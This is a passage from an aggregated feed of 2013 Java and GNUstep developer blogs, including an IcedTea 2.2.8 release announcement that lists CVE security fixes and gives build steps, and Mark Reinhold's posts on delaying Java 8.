&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006790&quot;&gt;S8006790&lt;/a&gt;: Improve checking for windows&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006795&quot;&gt;S8006795&lt;/a&gt;: Improve font warning messages&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007406&quot;&gt;S8007406&lt;/a&gt;: Improve accessibility of AccessBridge&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007617&quot;&gt;S8007617&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2420&quot;&gt;CVE-2013-2420&lt;/a&gt;: Better validation of images&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007667&quot;&gt;S8007667&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2430&quot;&gt;CVE-2013-2430&lt;/a&gt;: Better image reading&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007918&quot;&gt;S8007918&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2429&quot;&gt;CVE-2013-2429&lt;/a&gt;: Better image writing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8008140&quot;&gt;S8008140&lt;/a&gt;: Better method handle resolution&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009049&quot;&gt;S8009049&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2436&quot;&gt;CVE-2013-2436&lt;/a&gt;: Better method handle binding&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009063&quot;&gt;S8009063&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2426&quot;&gt;CVE-2013-2426&lt;/a&gt;: Improve reliability of ConcurrentHashMap&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009305&quot;&gt;S8009305&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-0401&quot;&gt;CVE-2013-0401&lt;/a&gt;: Improve AWT data transfer&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009677&quot;&gt;S8009677&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2423&quot;&gt;CVE-2013-2423&lt;/a&gt;: Better setting of setters&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009699&quot;&gt;S8009699&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2421&quot;&gt;CVE-2013-2421&lt;/a&gt;: Methodhandle lookup&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009814&quot;&gt;S8009814&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1488&quot;&gt;CVE-2013-1488&lt;/a&gt;: Better driver management&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009857&quot;&gt;S8009857&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2422&quot;&gt;CVE-2013-2422&lt;/a&gt;: Problem with plugin&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In addition, IcedTea includes the usual IcedTea patches to allow builds against system libraries and to support more esoteric architectures.&lt;/p&gt;
&lt;p&gt;If you find an issue with the release, please report it to &lt;a href=&quot;http://icedtea.classpath.org/bugzilla&quot;&gt;our bug database&lt;/a&gt; under the appropriate component.  Development discussion takes place on &lt;a href=&quot;mailto:distro-pkg-dev@openjdk.java.net&quot;&gt;the distro-pkg-dev OpenJDK mailing list&lt;/a&gt; and patches are always welcome.&lt;/p&gt;
&lt;p&gt;Full details of the release can be found below.&lt;/p&gt;
&lt;h2&gt;What’s New?&lt;/h2&gt;
&lt;h3&gt;New in release 2.2.8 (2013-04-30)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Security fixes
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6657673&quot;&gt;S6657673&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1518&quot;&gt;CVE-2013-1518&lt;/a&gt;: Issues with JAXP&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=7200507&quot;&gt;S7200507&lt;/a&gt;: Refactor Introspector internals&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8000724&quot;&gt;S8000724&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2417&quot;&gt;CVE-2013-2417&lt;/a&gt;: Improve networking serialization&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001031&quot;&gt;S8001031&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2419&quot;&gt;CVE-2013-2419&lt;/a&gt;: Better font processing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001040&quot;&gt;S8001040&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1537&quot;&gt;CVE-2013-1537&lt;/a&gt;: Rework RMI model&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001322&quot;&gt;S8001322&lt;/a&gt;: Refactor deserialization&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001329&quot;&gt;S8001329&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1557&quot;&gt;CVE-2013-1557&lt;/a&gt;: Augment RMI logging&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003335&quot;&gt;S8003335&lt;/a&gt;: Better handling of Finalizer thread&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003445&quot;&gt;S8003445&lt;/a&gt;: Adjust JAX-WS to focus on API&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003543&quot;&gt;S8003543&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2415&quot;&gt;CVE-2013-2415&lt;/a&gt;: Improve processing of MTOM attachments&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004261&quot;&gt;S8004261&lt;/a&gt;: Improve input validation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004336&quot;&gt;S8004336&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2431&quot;&gt;CVE-2013-2431&lt;/a&gt;: Better handling of method handle intrinsic frames&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004986&quot;&gt;S8004986&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2383&quot;&gt;CVE-2013-2383&lt;/a&gt;: Better handling of glyph table&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004987&quot;&gt;S8004987&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2384&quot;&gt;CVE-2013-2384&lt;/a&gt;: Improve font layout&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004994&quot;&gt;S8004994&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1569&quot;&gt;CVE-2013-1569&lt;/a&gt;: Improve checking of glyph table&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8005432&quot;&gt;S8005432&lt;/a&gt;: Update access to JAX-WS&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8005943&quot;&gt;S8005943&lt;/a&gt;: (process) Improved Runtime.exec&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006309&quot;&gt;S8006309&lt;/a&gt;: More reliable control panel operation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006435&quot;&gt;S8006435&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2424&quot;&gt;CVE-2013-2424&lt;/a&gt;: Improvements in JMX&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006790&quot;&gt;S8006790&lt;/a&gt;: Improve checking for windows&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006795&quot;&gt;S8006795&lt;/a&gt;: Improve font warning messages&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007406&quot;&gt;S8007406&lt;/a&gt;: Improve accessibility of AccessBridge&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007617&quot;&gt;S8007617&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2420&quot;&gt;CVE-2013-2420&lt;/a&gt;: Better validation of images&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007667&quot;&gt;S8007667&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2430&quot;&gt;CVE-2013-2430&lt;/a&gt;: Better image reading&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007918&quot;&gt;S8007918&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2429&quot;&gt;CVE-2013-2429&lt;/a&gt;: Better image writing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8008140&quot;&gt;S8008140&lt;/a&gt;: Better method handle resolution&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009049&quot;&gt;S8009049&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2436&quot;&gt;CVE-2013-2436&lt;/a&gt;: Better method handle binding&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009063&quot;&gt;S8009063&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2426&quot;&gt;CVE-2013-2426&lt;/a&gt;: Improve reliability of ConcurrentHashMap&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009305&quot;&gt;S8009305&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-0401&quot;&gt;CVE-2013-0401&lt;/a&gt;: Improve AWT data transfer&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009677&quot;&gt;S8009677&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2423&quot;&gt;CVE-2013-2423&lt;/a&gt;: Better setting of setters&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009699&quot;&gt;S8009699&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2421&quot;&gt;CVE-2013-2421&lt;/a&gt;: Methodhandle lookup&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009814&quot;&gt;S8009814&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1488&quot;&gt;CVE-2013-1488&lt;/a&gt;: Better driver management&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009857&quot;&gt;S8009857&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2422&quot;&gt;CVE-2013-2422&lt;/a&gt;: Problem with plugin&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Backports
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=7130662&quot;&gt;S7130662&lt;/a&gt;, &lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=928500&quot;&gt;RH928500&lt;/a&gt;: GTK file dialog crashes with a NPE&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009530&quot;&gt;S8009530&lt;/a&gt;: ICU Kern table support broken&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The tarball can be downloaded from:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://icedtea.classpath.org/download/source/icedtea-2.2.8.tar.gz&quot;&gt;http://icedtea.classpath.org/download/source/icedtea-2.2.8.tar.gz&lt;/a&gt; (&lt;a href=&quot;http://icedtea.classpath.org/download/source/icedtea-2.2.8.tar.gz.sig&quot;&gt;sig&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SHA256 checksum:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;f51a3b317a2d2877c2891050305805eb7be257c9e5892eecc04e1cb0e582cd84  icedtea-2.2.8.tar.gz&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The tarball is accompanied by a digital signature available at the above ‘sig’ link.  This is produced using my public key.  See details below.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PGP Key: 248BDC07 (&lt;a href=&quot;https://keys.indymedia.org/&quot;&gt;https://keys.indymedia.org/&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following people helped with these releases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://fuseyism.com&quot;&gt;Andrew Hughes&lt;/a&gt; (application of security fixes &amp;amp; backports, release management)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We would also like to thank the bug reporters and testers!&lt;/p&gt;
&lt;p&gt;To get started:&lt;/p&gt;
&lt;pre&gt;$ tar xzf icedtea-2.2.8.tar.gz
$ cd icedtea-2.2.8
&lt;/pre&gt;
&lt;p&gt;Full build requirements and instructions are in INSTALL:&lt;/p&gt;
&lt;pre&gt;$ mkdir icedtea-build
$ cd icedtea-build
$ ../icedtea-2.2.8/configure [--enable-zero --enable-pulse-java
--enable-systemtap ...]
$ make
&lt;/pre&gt;
&lt;h3&gt;Happy hacking!&lt;/h3&gt;</description>
	<pubDate>Wed, 01 May 2013 00:14:43 +0000</pubDate>
</item>
<item>
	<title>Mark Reinhold: Java 8: Hold the train</title>
	<guid>http://mreinhold.org/blog/hold-the-train</guid>
	<link>http://mreinhold.org/blog/hold-the-train</link>
	<description>&lt;p&gt;Last week I proposed to &lt;a href=&quot;http://mreinhold.org/blog/secure-the-train&quot;&gt;delay the release of Java 8&lt;/a&gt; in
order to finish &lt;a href=&quot;http://openjdk.java.net/projects/lambda/&quot;&gt;Project Lambda&lt;/a&gt;, which has been delayed due to
Oracle’s renewed focus on the security of the Java Platform.&lt;/p&gt;
&lt;p&gt;Thanks to everyone who responded to that proposal, in comments on my blog
entry, on Twitter, and elsewhere.  The feedback was generally in favor,
though understandably tinged with disappointment.  As of today we have a
new plan of record: The target release date for Java 8 is now 2014/3/18.&lt;/p&gt;
&lt;p&gt;Further schedule details are available on the &lt;a href=&quot;http://openjdk.java.net/projects/jdk8/&quot;&gt;JDK 8 Project&lt;/a&gt; pages.&lt;/p&gt;</description>
	<pubDate>Fri, 26 Apr 2013 16:44:25 +0000</pubDate>
</item>
<item>
	<title>Riccardo Mottola: DataBasin: advanced SObject describe</title>
	<guid>tag:blogger.com,1999:blog-15746899.post-3270688134561288939</guid>
	<link>http://multixden.blogspot.com/2013/04/databasin-advanced-sobject-describe.html</link>
	<description>I enhanced &lt;a href=&quot;http://gap.nongnu.org/databasin/index.html&quot;&gt;DataBasin&lt;/a&gt; object describe. Frist, I do parse the RecordTypeInfo now, but that was the easy part.  Salesforce.com returns only the record type ID and name, but programmatically, this is not very useful. The important bit would be the Developer Name of each record type.&lt;br /&gt;&lt;br /&gt;I enhanced the results by querying automatically the RecordType table, extracting the Developer Name, matching it through the RT Id and merging back the results, so that the resulting DBSObject has a complete Record Type information, totally transparent.</description>
	<pubDate>Thu, 25 Apr 2013 12:21:21 +0000</pubDate>
</item>
<item>
	<title>Andrew Cowie: http-streams 0.5.0 released</title>
	<guid>http://blogs.operationaldynamics.com/andrew/?p=957</guid>
	<link>http://blogs.operationaldynamics.com/andrew/software/haskell/http-streams-0-5-0-released</link>
	<description>&lt;p&gt;I’ve done some internal work on my &lt;a class=&quot;package&quot; href=&quot;http://hackage.haskell.org/package/http-streams&quot;&gt;http-streams&lt;/a&gt; package. Quite a number of bug fixes, which I’m pleased about, but two significant qualitative improvements as well.&lt;/p&gt;

&lt;p&gt;First we have rewritten the “chunked” transfer encoding logic. The existing code would accept chunks from the server, and feed them as received up to the user. The problem with this is the &lt;em&gt;server&lt;/em&gt; is the one deciding the chunk size, and that means you can end up being handed multi-megabyte ByteStrings. Not exactly streaming I/O. So I’ve hacked that logic so that it &lt;code&gt;yield&lt;/code&gt;‘s bites of maximum 32 kB until it has iterated through the supplied chunk, then moves on to the next. Slight increase in code complexity internally, but much smoother streaming behaviour for people using the library.&lt;/p&gt;

&lt;p&gt;Secondly I’ve brought in the highly tuned HTTP header parsing code from Gregory Collins’s new &lt;a class=&quot;package&quot; href=&quot;http://hackage.haskell.org/package/snap-server&quot;&gt;snap-server&lt;/a&gt;. Our parser was already pretty fast, but this gave us a 13% performance improvement. Nice.&lt;/p&gt;

&lt;p&gt;We changed the types in the &lt;code&gt;openConnection&lt;/code&gt; functions; Hostname and Port are ByteString and Word16 now, so there’s an API version bump to 0.5.0. Literals will continue to work so most people shouldn’t be affected.&lt;/p&gt;

&lt;p&gt;AfC&lt;/p&gt;</description>
	<pubDate>Tue, 23 Apr 2013 13:03:19 +0000</pubDate>
</item>
<item>
	<title>Riccardo Mottola: Simplifying GWorkspace</title>
	<guid>tag:blogger.com,1999:blog-15746899.post-4604875606485477692</guid>
	<link>http://multixden.blogspot.com/2013/04/simplifying-gworkspace.html</link>
	<description>I am streamlining &lt;a href=&quot;http://www.gnustep.org/&quot;&gt;GNUstep&lt;/a&gt;'s &lt;a href=&quot;http://www.gnustep.org/experience/GWorkspace.html&quot;&gt;Workspace&lt;/a&gt;. For many years it had a mode for &lt;i&gt;spatial&lt;/i&gt; navigation, inspired essentially from Mac's finder and by GNOME. I personally never felt that it fits well in OpenStep's paradigm. MacOS X incorporated it for legacy reasons of Mac Classic, becasue Apple (sadly) wrote a new Finder instead of using OS's Workspace.&lt;br /&gt;Spatial is good, but I think having a manager which incorporates both philosophies not.&lt;br /&gt;&lt;br /&gt;Thus I removed &lt;i&gt;spatial&lt;/i&gt; navigation from GWorkspace. Some loyal users perhaps will mourn it, but I want to remember that GWorkspace is just one possible application to implement NSWorkspace, anybody can write a replacement. In fact, I have already plans to write an alternative version, but this will be material for other blog posts.</description>
	<pubDate>Sun, 21 Apr 2013 12:30:12 +0000</pubDate>
</item>
<item>
	<title>Mark Reinhold: Java 8: Secure the train</title>
	<guid>http://mreinhold.org/blog/secure-the-train</guid>
	<link>http://mreinhold.org/blog/secure-the-train</link>
	<description>&lt;p&gt;Security vulnerabilities related to Java running inside web browsers have
lately received a lot of public attention.  Here at Oracle we’ve mounted
an intense effort to address those issues in a series of critical-patch
update releases, &lt;a href=&quot;https://blogs.oracle.com/java/entry/java_se_7_update_21&quot;&gt;the most recent of which we posted earlier this
week&lt;/a&gt;.  We’ve also upgraded our development processes to
increase the level of scrutiny applied to new code, so that new code
doesn’t introduce new vulnerabilities.&lt;/p&gt;
&lt;p&gt;Maintaining the security of the Java Platform always takes priority over
developing new features, and so these efforts have inevitably taken
engineers away from working on Java 8.  It’s one of the reasons why some
features &lt;a href=&quot;http://mail.openjdk.java.net/pipermail/jdk8-dev/2013-February/002066.html&quot;&gt;slipped past Milestone 6 (M6)&lt;/a&gt;, our original
Feature-Complete target at the end of January.&lt;/p&gt;
&lt;p&gt;Looking ahead, Oracle is committed to continue fixing security issues at
an accelerated pace, to enhance the Java security model, and to introduce
new security features.  This work will require more engineer hours than
we can free up by dropping features from Java 8 or otherwise reducing the
scope of the release at this stage.&lt;/p&gt;
&lt;p&gt;As a consequence of this renewed focus on security the &lt;a href=&quot;http://openjdk.java.net/projects/jdk8/&quot;&gt;Java 8
schedule&lt;/a&gt;, with a GA release in early September, is no longer
achievable.&lt;/p&gt;
&lt;p class=&quot;titled&quot;&gt;&lt;span class=&quot;title&quot;&gt;Status&lt;/span&gt; As I’ve &lt;a href=&quot;http://mail.openjdk.java.net/pipermail/jdk8-dev/2013-February/002066.html&quot;&gt;previously written&lt;/a&gt;, the most important
work that slipped past M6 is related to &lt;a href=&quot;http://openjdk.java.net/projects/lambda/&quot;&gt;Project Lambda&lt;/a&gt;, the
sole driving feature of the release.  We integrated the language and VM
changes for Lambda late last year, but between all the moving parts
involved and the security work it’s taken a bit longer than expected to
put the finishing touches on the stream API and the related
core-libraries enhancements (JEPs &lt;a href=&quot;http://openjdk.java.net/jeps/107&quot;&gt;107&lt;/a&gt; and &lt;a href=&quot;http://openjdk.java.net/jeps/109&quot;&gt;109&lt;/a&gt;).  Our
best estimate right now is that we can finish this work by early May,
about three months later than planned.&lt;/p&gt;
&lt;p&gt;The other features that slipped past M6 are not release drivers, so in
theory we could just drop them from the release, but if Lambda needs more
time then there’s no point in doing that.&lt;/p&gt;
&lt;p class=&quot;titled&quot;&gt;&lt;span class=&quot;title&quot;&gt;Alternatives&lt;/span&gt; So, what to do?  There are many options; let’s look at
a few of them.&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;Drop Lambda from the release in order to maintain the current
    schedule, with a GA release in early September.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;If we drop Lambda then the remaining features are interesting but not,
taken as a whole, very compelling.  A Lambda-less release this year would
hence be unlikely to gain wide adoption, so why bother?  Lambda itself
would not be available until 2016, assuming we maintain the &lt;a href=&quot;http://mreinhold.org/blog/late-for-the-train&quot;&gt;two-year
cadence&lt;/a&gt; that I’ve previously suggested.  I don’t think anybody
wants to wait that long.&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;Retain Lambda but reduce the time available for feedback and testing
    in order to maintain the schedule.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;If we sacrifice quality in order to maintain the schedule then we’ll
almost certainly repeat the well-worn mistakes of the past, carving
incomplete language changes and API designs into virtual stone where
millions of developers will have to work around their flaws for years to
come until those features—or the entire Platform—are replaced by
something new.&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;Slip the schedule by a year or more so that we can include &lt;a href=&quot;http://openjdk.java.net/projects/jigsaw/&quot;&gt;Project
    Jigsaw&lt;/a&gt;, which was &lt;a href=&quot;http://mreinhold.org/blog/on-the-next-train&quot;&gt;previously dropped&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;With Lambda nearly complete, I don’t think it makes sense to delay its
release.  Beyond that, finishing Jigsaw would likely require more than a
year’s delay, for &lt;a href=&quot;http://mreinhold.org/blog/late-for-the-train-qa&quot;&gt;reasons I’ve previously given&lt;/a&gt; and because
key members of the Jigsaw team at Oracle have lately spent a lot of time
working on security issues.&lt;/p&gt;
&lt;p class=&quot;titled&quot;&gt;&lt;span class=&quot;title&quot;&gt;Hold the train&lt;/span&gt; I think the least-bad option is this:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;Slip the schedule just enough to finish Lambda, and ship the release
    after it’s thoroughly reviewed and tested.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;If we can finish the remaining design and development work by early May
then we should be able to test and stabilize the build over the summer
and ship a solid Developer Preview release in early September.&lt;/p&gt;
&lt;p&gt;To settle on a new GA date for Java 8 requires a bit more planning
work, but my expectation is that we’d be able to ship the release in the
first quarter of 2014.&lt;/p&gt;
&lt;p&gt;That is, of course, more than a three-month slip from the current GA date
in early September.  At this point we’re not confident that we could be
ready for a GA release in November, and experience has shown that it’s
almost always a bad idea to try to ship a major software release in
December, so that pushes the GA date well into the first quarter.&lt;/p&gt;
&lt;p&gt;This option would not open the gates for a flood of new features in
Java 8, nor would it permit the scope of existing features to grow
without bound.  We’d likely add a select few additional features,
especially in areas related to security.  In general, however, we’d use
the additional time to stabilize, polish, and fine-tune the features that
we already have rather than add a bunch of new ones.  We’ve &lt;a href=&quot;http://en.wikipedia.org/wiki/Java_version_history#J2SE_1.2_.28December_8.2C_1998.29&quot;&gt;been down
that latter road&lt;/a&gt; before, and it’s long and ugly.&lt;/p&gt;
&lt;p&gt;Is this the best possible course of action?  I think it’s better than the
alternatives, but I’m open to suggestions.  In the meantime I’m going to
ask the same question of the &lt;a href=&quot;http://openjdk.java.net/projects/jdk8/spec/&quot;&gt;Java SE 8 Expert Group&lt;/a&gt; and of the
contributors to the Reference Implementation in the &lt;a href=&quot;http://openjdk.java.net/projects/jdk8/&quot;&gt;JDK 8 Project&lt;/a&gt;.&lt;/p&gt;
&lt;p class=&quot;titled&quot;&gt;&lt;span class=&quot;title&quot;&gt;Features &lt;em&gt;vs.&lt;/em&gt; schedule&lt;/span&gt; I’ve &lt;a href=&quot;http://mreinhold.org/blog/late-for-the-train&quot;&gt;previously argued&lt;/a&gt; that it’s
best to structure the Java development process as a continuous pipeline
of innovation that’s only loosely coupled to a regular, rhythmic release
process.  If a major feature misses its intended release train then
that’s unfortunate but it’s not the end of the world: It will be on the
next train, which will also leave at a predictable time.&lt;/p&gt;
&lt;p&gt;I still think that’s a good general policy.  Adhering strictly to it in
this case, however, would mean that we’d take the first option
above—&lt;em&gt;i.e.&lt;/em&gt;, drop Lambda and stick to the schedule—which I strongly
doubt anyone actually wants.  An exception to the general policy is
therefore well justified.&lt;/p&gt;
&lt;p&gt;If we adopt my proposal above then we should be able to complete the
browser-related security work to which we’ve committed and then resume a
regular two-year release cadence, with Java 8 due in early 2014 and
Java 9 in early 2016.&lt;/p&gt;</description>
	<pubDate>Thu, 18 Apr 2013 15:48:37 +0000</pubDate>
</item>
<item>
	<title>Jeroen Frijters: The End of ACC_SUPER</title>
	<guid>http://weblog.ikvm.net/PermaLink.aspx?guid=32db7dc2-ea2d-4113-86a1-164cd78f904f</guid>
	<link>http://weblog.ikvm.net/PermaLink.aspx?guid=32db7dc2-ea2d-4113-86a1-164cd78f904f</link>
	<description>&lt;p&gt;
      Yesterday I wrote about the security issue fixed in &lt;a href=&quot;http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html&quot;&gt;Update
      21&lt;/a&gt;. Today I'll describe the &quot;Security-In-Depth&quot; issue.
   &lt;/p&gt;
        &lt;p&gt;
      As a result of the &lt;a href=&quot;http://weblog.ikvm.net/PermaLink.aspx?guid=23cced47-ccdb-460d-acc9-ce16154ab6a5&quot;&gt;Thread
      Cloning Vulnerability&lt;/a&gt;, Oracle removed honoring the absense of &lt;a href=&quot;http://weblog.ikvm.net/PermaLink.aspx?guid=99fcff6c-8ab7-4358-9467-ddf71dd20acd&quot;&gt;ACC_SUPER&lt;/a&gt; from
